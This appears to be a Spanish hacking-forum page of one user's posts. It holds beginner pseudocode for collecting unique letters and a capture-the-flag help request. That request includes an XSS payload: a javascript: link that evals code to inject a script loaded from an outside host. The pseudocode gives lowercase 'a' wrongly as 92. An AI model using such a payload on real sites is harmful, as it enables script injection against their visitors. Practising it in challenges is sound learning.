Muy buen aporte Kub0x. Estoy seguro que no tardaremos en ver un montón de comentarios sobre DoH y malware. Mucha gente no lo conoce.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: Sapote en 10 Octubre 2019, 07:53 AMEstás intentando escribir un objeto en la web, debes escribir la url accediendo a ella (value del objeto).
Buenas tardes, hacee unos dias entre nuevamente de lleno al tema del hacking, y estoy realizando un par de retos de todo tipo. Ahorita estoy atascado en conseguir una flag.
El punto es el siguiente es un sitio que unicamente tiene un codigo javascript que regresa al mismo sitio.
El javascript es el siguiente
<a href="javascript:openNewWindow('hello.html');">Rompeme</a>
He intentado cambiar el script para intentar sacar un XSS de esta manera
<a href="javascript:eval('var a=document.createElement(\'script\');a.src=\'https://micodigo\';document.body.appendChild(a)')">Rompeme</a>
Al hacerlo obtengo un [object HTMLScriptElement] pero mi sitio no esta capturando nada.
¿Alguien podria darme una mano?
Gracias
Saludos!!
Cita de: NEBIRE en 9 Octubre 2019, 23:44 PMSi pones "ana" te guarda "an" en vez de "aan" no?
Más sencillo aún:
int k, num
buleano escape
array de chars arrayChar(0 a 25) // consideramos solo 26 letras o también la 'ñ'?
Bucle
num = ((pedir caracter al usuario) - 65).ToInt // ó 97 si partes desde 'a' hasta 'z', etc... debes adaptarlo a lo que te pidan.
si ((num => 0) y (num <=25))
Si arrayChar(num) = ""
arrayChar(num) = (num + 65).ToChar
k +=1
si k=26
escape = TRUE
fin si
//Osi num = ??? //cierto carácter podría actuar como escape...(recuerda que restamos 65 al valor, para posicionarlo en su lugar en el array)
// escape = true
fin si
fin si
Repetir Mientras (escape = FALSE) // una condición de salida basado en???
// volcar la salida:
bucle para k desde 0 hasta 25
Si arrayChar(k) <> ""
imprimir arrayChar(k)
fin si
siguiente
int diccionario[100];
for(int i = 65 ; i <= 90; ++i)
{
diccionario[i-65] = i;
}/* El resultado sería algo como:
diccionario[0] = 65;
diccionario[1] = 66;
...
diccionario[25] = 90;
*/
for(int i = 97 ; i <= 122; ++i)
{
diccionario[i-71] = i;
}/* El resultado sería algo como:
diccionario[0] = 65; Equivale a 'A'
diccionario[1] = 66; Equivale a 'B'
diccionario[25] = 90; Equivale a 'Z'
diccionario[26] = 97; Equivale a 'a'
diccionario[27] = 98;
...
diccionario[50]= 122; equivale a 'z'
Imprime los contenidos del array y los ajustas.*/
if (caracter1 == diccionario[i])
{
resultado[x] = caracter1;
}
Está la A (int 65) en [0]? No.
{
No hacer nada.
}
Está la A (int 65) en [1]? No.
{
No hacer nada.
}
Está la A (int 65) en [2]? No.
{
No hacer nada.
}
Está la A (int 65) en [3]? Si.
{
ArrayResultado[0] = palabra[3];
}
Está la a (int 92) en [0]? No.
{
No hacer nada.
}
Está la a (int 92) en [1]? No.
{
No hacer nada.
}
Está la a (int 92) en [2]? No.
{
No hacer nada.
}
Está la a (int 92) en [3]? No
{
No hacer nada.
}
...